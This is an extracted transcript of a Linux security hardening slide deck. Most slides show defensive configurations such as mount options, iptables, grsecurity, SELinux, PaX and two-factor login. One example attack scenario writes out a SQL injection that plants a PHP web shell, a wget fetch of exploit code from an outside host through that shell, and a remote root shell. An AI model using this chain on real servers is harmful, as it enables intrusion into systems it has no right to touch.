Core Linux Security: 0-Day Isn't Everything

CORE LINUX SECURITY 0-Day Isn’t Everything

BREAKING DOWN SECURITY

BREAKING DOWN SECURITY• Mostsuccessful exploitation occurs due to a failure to think in terms of process rather than products (a la Bruce Schneier)

BREAKING DOWN SECURITY• Mostsuccessful exploitation occurs due to a failure to think in terms of process rather than products (a la Bruce Schneier)•A 0-day exploit simply means a patch for the affected piece of technology does not yet exist; not that an exploit will work

BREAKING DOWN SECURITY• Mostsuccessful exploitation occurs due to a failure to think in terms of process rather than products (a la Bruce Schneier)•A 0-day exploit simply means a patch for the affected piece of technology does not yet exist; not that an exploit will work• “Defense in Depth” is not just another industry phrase, it’s the only way information security can be properly handled

BREAKING DOWN SECURITY• Mostsuccessful exploitation occurs due to a failure to think in terms of process rather than products (a la Bruce Schneier)•A 0-day exploit simply means a patch for the affected piece of technology does not yet exist; not that an exploit will work• “Defense in Depth” is not just another industry phrase, it’s the only way information security can be properly handled• Attackersdon’t all care about ‘being root’; goal-based attacks may be much less involved to achieve but have stunning impacts to conﬁdentiality, integrity, and/or availability (CIA)

IT’S ALL ABOUT THE LAYERS

IT’S ALL ABOUT THE LAYERS•Abase distribution of Linux is pretty secure when put intocontext of “What’s the likelihood someone is going to get aroot shell on my server?”

IT’S ALL ABOUT THE LAYERS•A base distribution of Linux is pretty secure when put into context of “What’s the likelihood someone is going to get a root shell on my server?”• Theaddition of web applications, network services, multi- tenancy, and lazy administration change the situation quickly

IT’S ALL ABOUT THE LAYERS•A base distribution of Linux is pretty secure when put into context of “What’s the likelihood someone is going to get a root shell on my server?”• Theaddition of web applications, network services, multi- tenancy, and lazy administration change the situation quickly•A simple web exploit (SQL Injection, Remote File Inclusion) can potentially go from ‘bad web app’ to ‘root shell’ in seconds

IT’S ALL ABOUT THE LAYERS•A base distribution of Linux is pretty secure when put into context of “What’s the likelihood someone is going to get a root shell on my server?”• The addition of web applications, network services, multi- tenancy, and lazy administration change the situation quickly•A simple web exploit (SQL Injection, Remote File Inclusion) can potentially go from ‘bad web app’ to ‘root shell’ in seconds• So, let’sutilize many built-in or build-able Linux security technologies to provide extra assurances, even in seemingly dire situations

FILESYSTEM MOUNT OPTIONS

1) mstanislav:/tmp$ mount | grep /tmp2) /dev/sda8 on /tmp type ext3 (rw)3) mstanislav:/tmp$ ./exploit4) no errors returned5) mstanislav:/tmp$ su - root6) root:~# mount -o noexec,remount /tmp7) root:~# exit8) mstanislav:/tmp$ mount | grep /tmp9) /dev/sda8 on /tmp type ext3 (rw,noexec)10) mstanislav:/tmp$ ./exploit11) ./exploit: Permission denied

1) mstanislav:/tmp$ mount | grep /tmp2) /dev/sda8 on /tmp type ext3 (rw)3) mstanislav:/tmp$ ./evil-ping 4.2.2.24) PING 4.2.2.2 (4.2.2.2) 56(84) bytes of data.5) 64 bytes from 4.2.2.2: icmp_req=1 ttl=55 time=24 ms6) mstanislav:/tmp$ ls -l evil-ping7) -rwsr-sr-x 1 root root 31360 Nov 6 13:37 evil-ping8) mstanislav:/tmp$ su - root9) root:~# mount -o nosuid,remount /tmp10) root:~# exit11) mstanislav:/tmp$ ./evil-ping 4.2.2.212) ping: icmp open socket: Operation not permitted

FILESYSTEM ATTRIBUTES

An Attacker Covering Their Tracks1) mstanislav:~$ ls -l .bash_history2) -rw------- mstanislav mstanislav Nov 6 .bash_history3) mstanislav:~$ gcc -o exploit exploit.c4) mstanislav:~$ ./exploit5) mstanislav:~$ rm .bash_history6) mstanislav:~$ no errors returned7) mstanislav:~$ su - root8) root:~# ls /home/mstanislav/.bash_history9) ls: cannot access /home/mstanislav/.bash_history

An Attacker Not Covering Their Tracks :)1) root:~# chown root:root /home/mstanislav/.bash_history2) root:~# chmod 776 /home/mstanislav/.bash_history3) root:~# chattr +a /home/mstanislav/.bash_history4) root:~# su - mstanislav5) mstanislav:~$ gcc -o exploit exploit.c6) mstanislav:~$ ./exploit7) mstanislav:~$ rm .bash_history8) Cannot remove ‘.bash_history’: Operation not permitted9) mstanislav:~$ chattr -a .bash_history10) Permission denied while setting ﬂags on .bash_history

STRONG[ER] PASSWORDS WITH PAM_CRACKLIB

Features: Record past passwords to reduce reuse; assign‘credit’ to each character of a password to enforce mixture; watchout of dictionary words; watch for ‘reversals’ of existing passwords1) mstanislav:~$ passwd2) Changing password for mstanislav.3) (current) UNIX password:4) Password: foobar5) BAD PASSWORD: it is based on a dictionary word6) Password: 123457) BAD PASSWORD: it is too simplistic/systematic8) Password: 129) BAD PASSWORD: it is WAY too short

IPTABLES CONNECTION THROTTLING

Enabling IPTables Connection Throttling1) root:~# cat /etc/iptables.up.rules2) *ﬁlter3) :INPUT ACCEPT [0:0]4) -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT5) -A INPUT -p tcp --dport 22 -m recent --set --name SSH6) -A INPUT -p tcp --dport 22 -m recent --update --seconds 60 --hitcount 4 --rttl --name SSH -j DROP7) -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT8) COMMIT Testing SSH Connection Throttling9) laptop:~$ ssh mstanislav@192.168.26.10910) mstanislav@192.168.26.109’s password: wrong password11) laptop:~$ ssh mstanislav@192.168.26.10912) mstanislav@192.168.26.109’s password: wrong password13) laptop:~$ ssh mstanislav@192.168.26.10914) mstanislav@192.168.26.109’s password: wrong password15) laptop:~$ ssh mstanislav@192.168.26.10916) session hangs, never prompts for a password

IPTABLES PORT-KNOCKING

Simple Port-Knocking Conﬁguration1) root:~# iptables -n -L RH-Firewall-1-INPUT2) state RELATED,ESTABLISHED3) tcp dpt:22 recent: CHECK name: SSH side: source4) tcp dpt:1599 recent: REMOVE name: SSH side: source5) tcp dpt:1600 recent: SET name: SSH side: source6) tcp dpt:1599 recent: REMOVE name: SSH side: source Notes:•Setting ‘REMOVE’ ports on each side of the SET portprevents a linear port scan from accidentally engaging theproper sequence•You can chain together rules to force multiple ports to beknocked in a proper sequence/time period to open your‘real’ port up

1) mstanislav:~$ ssh root@192.168.206.1092) ^C Manually killed un-open connection3) mstanislav:~$ telnet 192.168.206.109 16004) ^C Manually killed un-open connection5) mstanislav:~$ ssh root@192.168.206.1096) root@192.168.206.109’s password:7) ^C Manually killed open connection8) mstanislav:~$ telnet 192.168.206.109 15999) ^C Manually killed un-open connection10) mstanislav:~$ ssh root@192.168.206.10911) ^C Manually killed un-open connection

IPTABLES UID MATCH RULES

1) root:~# iptables -n -L OUTPUT2) ACCEPT tcp dpt:80 owner uid match 10003) DROP tcp dpt:804) root:~# telnet google.com 805) Trying 74.125.225.19...6) ^C Manually killing un-open connection7) root:~# su - mstanislav8) mstanislav:~$ telnet google.com 809) Trying 74.125.225.19...10) Connected to google.com11) Escape character is ‘^]’.12) ^] Manually closing connection

GRSECURITY“a set of patches for the Linux kernel with an emphasis onenhancing security. Its typical application is in computersystems that accept remote connections from untrustedlocations, such as web servers and systems offering shellaccess to its users.” http://en.wikipedia.org/wiki/Grsecurity

LISTENING CONNECTIONBINDING GROUP-BLACKLIST

1) mstanislav:~$ nc -l -p 15002) ^C Manually closing listening port3) mstanislav:~$ su - root4) root:~# grep ‘mstanislav:x:’ /etc/groups5) mstanislav:x:1000:6) root:~# sysctl kernel.grsecurity.socket_server_gid=10007) kernel.grsecurity.socket_server_gid = 10008) root:~# exit9) mstanislav:~$ nc -l -p 150010) Can’t grab 0.0.0.0:1500 with bind : Permission denied

ALL NETWORK CONNECTIONS GROUP-BLACKLIST

1) mstanislav:~$ telnet google.com 802) Trying 74.125.226.112...3) Connected to google.com4) Escape character is ‘^]’.5) ^] Manually closing connection6) telnet> quit7) mstanislav:~$ su - root8) root:~# sysctl kernel.grsecurity.socket_client_gid=10009) kernel.grsecurity.socket_client_gid = 100010) root:~# exit11) mstanislav:~$ telnet google.com 8012) telnet: could not resolve google.com/80

SELINUX PORT RESTRICTIONS“Security-Enhanced Linux is a Flux Advanced SecurityKernel (FLASK) implementation integrated in some versionsof the Linux kernel with a number of utilities designed todemonstrate the value of mandatory access controls to theLinux community and how such controls could be added toLinux. These provide general support for enforcing manykinds of mandatory access control policies, including thosebased on the concepts of type enforcement, role-basedaccess control, and multilevel security. ” http://en.wikipedia.org/wiki/Security-Enhanced_Linux

1) root:~# sed -i ‘s/80/81/g’ /etc/apache2/ports.conf2) root:~# /etc/init.d/apache2 restart3) FAILED4) root:~# grep ‘apache2’ /var/log/kern.log5) Nov 8 08:44:50 base kernel:type=1400 audit(6) 1320410690.781:9): avc: denied: {named_bind} for7) pid=2247 comm=”apache2” src=81 scontext=8) unconﬁned_u:system_r:httpd_t:s0-s0:c0-c1023 [...snip...]9) root:~# semanage -a -t http_port_t -p tcp 8110) root:~# /etc/init.d/apache2 restart11) Restarting web server: Host *:81 has no VirtualHosts12) root:~# netstat -nlp | grep ‘:81’13) tcp 0 0 0.0.0.0:81 0.0.0.0:*

PREVENTING ATTACKS PROACTIVELY“PaX flags data memory as non-executable, program memoryas non-writable and randomly arranges the program memory.This effectively prevents many security exploits, such as somekinds of buffer overflows. The former prevents direct codeexecution absolutely, while the latter makes so-called return-to-libc (ret2libc) attacks difficult to exploit, relying on luck tosucceed, but doesnt prevent variables and pointersoverwriting.” http://en.wikipedia.org/wiki/PaX

1) mstanislav:~$ gcc -o boverflow boverflow.c2) mstanislav:~$ ./boverflow3) Please enter your string: 1213443243242342342134) Killed5) mstanislav:~$ su - root6) root:~# grep ‘boverflow’ /var/log/kern.log7) Nov 6 14:28:32 base kernel: PAX: terminating task8) /home/mstanislav/boverflow (boverflow):4984,9) uid/euid: 1000/1000, PC: 33333532, SP: 5c213d00

Automatically kill executables doing ‘bad things’

RUINING RECONNOISSANCE

Restrict /proc access andunprivileged access to dmesg output ‘root’ can see dmesg Visible proc entries to ‘root’ Visible proc entries to ‘mstanislav’ ‘mstanislav’ can’t read dmesg

Hide processes not belonging to users Visible processes as ‘root’ Visible processes as ‘mstanislav’

INTERROGATION

auditd Allows for InvasiveMonitoring of User Activities Monitor /tmp activity Search for /tmp audit trail

SFTP CHROOT

Before Chroot1) mstanislav:~$ sftp mstanislav@foobar.com2) Connecting to foobar.com3) Password: *******4) sftp> pwd5) Remote working directory: /home/mstanislav/ After Chroot6) mstanislav:~$ sftp untrusted@foobar.com7) Connecting to foobar.com8) Password: *******9) sftp> pwd10) Remote working directory: /

TWO FACTOR

mstanislav:~$ ssh foobar.comPassword: *********Duo two-factor login for mstanislavEnter a passcode or select one of thefollowing options:1. Duo Push to XXX-XXX-90032. Phone call to XXX-XXX-90033. SMS passcodes to XXX-XXX-9003Passcode or option (1-3): 1Pushed a login request to your phone...Success. Logging you in...[mstanislav@sftp ~]$

REAL-LIFE SCENARIOS

Framing the SituationThe Environment

Framing the SituationThe Environment Shared web hosting company running Debian Linux

Framing the SituationThe Environment Shared web hosting company running Debian Linux Customers are told to start a web server on a speciﬁc IP

Framing the SituationThe Environment Shared web hosting company running Debian Linux Customers are told to start a web server on a speciﬁc IP Most customers are using Apache + MySQL + PHP

Framing the SituationThe Environment Shared web hosting company running Debian Linux Customers are told to start a web server on a speciﬁc IP Most customers are using Apache + MySQL + PHP Regular patching & an ingress ﬁrewall provide ‘security’ ;)

Framing the SituationThe Environment Shared web hosting company running Debian Linux Customers are told to start a web server on a speciﬁc IP Most customers are using Apache + MySQL + PHP Regular patching & an ingress ﬁrewall provide ‘security’ ;)The Attacker

Framing the SituationThe Environment Shared web hosting company running Debian Linux Customers are told to start a web server on a speciﬁc IP Most customers are using Apache + MySQL + PHP Regular patching & an ingress ﬁrewall provide ‘security’ ;)The Attacker Has an unreleased Linux kernel exploit nobody knows of Has located a web site on the server with SQL injection Has an unprivileged user’s password (Valve anyone?)

Attack #1

1) The attacker found a vulnerable PHP query input: $page = “SELECT page_name FROM pages WHERE page_id = “ . $_GET[‘id’];

1) The attacker found a vulnerable PHP query input: $page = “SELECT page_name FROM pages WHERE page_id = “ . $_GET[‘id’];2) The attacker writes a PHP backdoor to the system:http://www.foobar.com/?id=23 UNION SELECT “<?EXEC($_GET[‘CMD’]);?>” INTO OUTFILE ‘/home/foobar/www/tmp/cmd.php’

1) The attacker found a vulnerable PHP query input: $page = “SELECT page_name FROM pages WHERE page_id = “ . $_GET[‘id’];2) The attacker writes a PHP backdoor to the system:http://www.foobar.com/?id=23 UNION SELECT “<?EXEC($_GET[‘CMD’]);?>” INTO OUTFILE ‘/home/foobar/www/tmp/cmd.php’3) The attacker downloads his exploit using the backdoor:http://www.foobar.com/tmp/cmd.php?cmd=wget http://barfoo.com/unknown.c

1) The attacker found a vulnerable PHP query input: $page = “SELECT page_name FROM pages WHERE page_id = “ . $_GET[‘id’];2) The attacker writes a PHP backdoor to the system:http://www.foobar.com/?id=23 UNION SELECT “<?EXEC($_GET[‘CMD’]);?>” INTO OUTFILE ‘/home/foobar/www/tmp/cmd.php’3) The attacker downloads his exploit using the backdoor:http://www.foobar.com/tmp/cmd.php?cmd=wget http://barfoo.com/unknown.c4) The attacker compiles and runs his kernel exploithttp://www.foobar.com/tmp/cmd.php?cmd=gcc -o unknown unknown.c ; ./unknown

1) The attacker found a vulnerable PHP query input: $page = “SELECT page_name FROM pages WHERE page_id = “ . $_GET[‘id’];2) The attacker writes a PHP backdoor to the system:http://www.foobar.com/?id=23 UNION SELECT “<?EXEC($_GET[‘CMD’]);?>” INTO OUTFILE ‘/home/foobar/www/tmp/cmd.php’3) The attacker downloads his exploit using the backdoor:http://www.foobar.com/tmp/cmd.php?cmd=wget http://barfoo.com/unknown.c4) The attacker compiles and runs his kernel exploithttp://www.foobar.com/tmp/cmd.php?cmd=gcc -o unknown unknown.c ; ./unknown5) The attacker connects to his remote root-shell:hack$ telnet foobar.com 31337root@foobar#:

Ways to Defend

Ways to DefendUse ‘noexec’ mount option for /home and /tmp

Ways to Defend Use ‘noexec’ mount option for /home and /tmp Restrict users from providing inbound TCP connectionson any port except HTTP/HTTPS with UID MATCH rules

Ways to Defend Use ‘noexec’ mount option for /home and /tmp Restrict users from providing inbound TCP connectionson any port except HTTP/HTTPS with UID MATCH rules Build the kernel with PaX to potentially prevent thevulnerability successfully executing

Ways to Defend Use ‘noexec’ mount option for /home and /tmp Restrict users from providing inbound TCP connectionson any port except HTTP/HTTPS with UID MATCH rules Build the kernel with PaX to potentially prevent thevulnerability successfully executing Run a single web server for customers and enforce akernel.grsecurity.socket_server_gid setting for all customers

Attack #1.5

Attack #1.51) The attacker logs into your SSH (TCP/22) server2) Upload + compile + execute vulnerability

Attack #1.51) The attacker logs into your SSH (TCP/22) server2) Upload + compile + execute vulnerability Ways to Defend

Attack #1.51) The attacker logs into your SSH (TCP/22) server2) Upload + compile + execute vulnerability Ways to Defend Utilize port-knocking so that the attacker doesn’t knowand cannot (easily) ﬁnd out that you’re even running SSH

Attack #1.51) The attacker logs into your SSH (TCP/22) server2) Upload + compile + execute vulnerability Ways to Defend Utilize port-knocking so that the attacker doesn’t knowand cannot (easily) ﬁnd out that you’re even running SSH Use Cracklib to ensure that your user’s stolen passwordwasn’t so damn easy to crack from that stolen hash ﬁle

Attack #1.51) The attacker logs into your SSH (TCP/22) server2) Upload + compile + execute vulnerability Ways to Defend Utilize port-knocking so that the attacker doesn’t knowand cannot (easily) find out that you’re even running SSH Use Cracklib to ensure that your user’s stolen passwordwasn’t so damn easy to crack from that stolen hash file Only give your customers chrooted-SFTP access to theirweb site files

Attack #1.51) The attacker logs into your SSH (TCP/22) server2) Upload + compile + execute vulnerability Ways to Defend Utilize port-knocking so that the attacker doesn’t knowand cannot (easily) find out that you’re even running SSH Use Cracklib to ensure that your user’s stolen passwordwasn’t so damn easy to crack from that stolen hash file Only give your customers chrooted-SFTP access to theirweb site files Use two-factor authentication so it doesn’t even matter!

Miscellaneous Notes

Miscellaneous Notes Always utilize a remote syslog server ; logs on acompromised system are useless and probably going to besanitized and/or purged

Miscellaneous Notes Always utilize a remote syslog server ; logs on acompromised system are useless and probably going to besanitized and/or purged SELinux/GRSecurity offer mandatory access controlabilities to create strict policy that can limit just about anyattack from being successful but usually require a lot of timeto baseline and keep working after patches

Miscellaneous Notes Always utilize a remote syslog server ; logs on acompromised system are useless and probably going to besanitized and/or purged SELinux/GRSecurity offer mandatory access controlabilities to create strict policy that can limit just about anyattack from being successful but usually require a lot of timeto baseline and keep working after patches If you allow untrusted shell users, deploy as much loggingfunctionality as possible (auditd, process accounting, etc.)

Miscellaneous Notes Always utilize a remote syslog server ; logs on acompromised system are useless and probably going to besanitized and/or purged SELinux/GRSecurity offer mandatory access controlabilities to create strict policy that can limit just about anyattack from being successful but usually require a lot of timeto baseline and keep working after patches If you allow untrusted shell users, deploy as much loggingfunctionality as possible (auditd, process accounting, etc.) Don’t trust a chroot implicitly ; using GRSecurity can makea huge difference.

Miscellaneous Notes Always utilize a remote syslog server ; logs on acompromised system are useless and probably going to besanitized and/or purged SELinux/GRSecurity offer mandatory access controlabilities to create strict policy that can limit just about anyattack from being successful but usually require a lot of timeto baseline and keep working after patches If you allow untrusted shell users, deploy as much loggingfunctionality as possible (auditd, process accounting, etc.) Don’t trust a chroot implicitly ; using GRSecurity can makea huge difference. http://talby.rcs.manchester.ac.uk/~isd/_unix_security/chroot_break_out.html

REFERENCES, PAGE 1• Hardened Gentoo • http://www.gentoo.org/proj/en/hardened/grsecurity.xml• Hardening Debian • http://wiki.debian.org/Hardening• SELinux for Debian • http://wiki.debian.org/SELinux/Setup• Cracklib for Various Distributions • http://www.cyberciti.biz/tips/linux-check-passwords-against-a-dictionary-attack.html• Port Knocking for IPTables • http://dotancohen.com/howto/portknocking.html• CentOS 6.x SSH Hardening + Chrooted SFTP • http://uncompiled.com/2011/09/centos-6-with-chrooted-sftp-only-users-ssh-hardening/• GRSecurity Documentation • http://en.wikibooks.org/wiki/Grsecurity• IPTables UID/GID Match • http://www.cyberciti.biz/tips/block-outgoing-network-access-for-a-single-user-from-my-server-using-iptables.html• Hardened Linux From Scratch (HLFS) • http://www.linuxfromscratch.org/hlfs/

REFERENCES, PAGE 2• Audit framework (auditd) document • http://www.suse.com/documentation/sled10/pdfdoc/audit_sp2/audit_sp2.pdf• Duo Security • http://www.duosecurity.com/• SELinux Policy Customization • http://www.centos.org/docs/5/html/Deployment_Guide-en-US/sec-sel-policy-customizing.html• Basic chattr notes • http://linuxhelp.blogspot.com/2005/11/make-your-ﬁles-immutable-which-even.html• Installing Custom Linux 3.0.x Kernel in Ubuntu/Debian • http://www.explodingpenguin.tv/2011/06/07/installcompile-linux-kernel-3-0-in-ubuntu/• Installing Custom Linux 2.6.x Kernel on *any* Distribution • http://www.cyberciti.biz/tips/compiling-linux-kernel-26.html• OSSEC Documentation (replacement for Tripwire) • http://www.ossec.net/doc/• Chrooting BIND9 • http://www.unixwiz.net/techtips/bind9-chroot.html• Hardening CentOS (and general Linux distros) • http://wiki.centos.org/HowTos/OS_Protection

THANKS! QUESTIONS?• mark.stanislav@gmail.com• @markstanislav• http://www.uncompiled.com/mark-stanislav/

Core Linux Security: 0-Day Isn't Everything

by Mark Stanislav on Nov 16, 2011

Accessibility

Categories

Tags

Upload Details

Usage Rights

3 Embeds 15

Statistics

Core Linux Security: 0-Day Isn’t Everything — Presentation Transcript

http://arigoldstein.wordpress.com	7
http://markstanislav.tumblr.com	5
http://mstanislav.posterous.com	3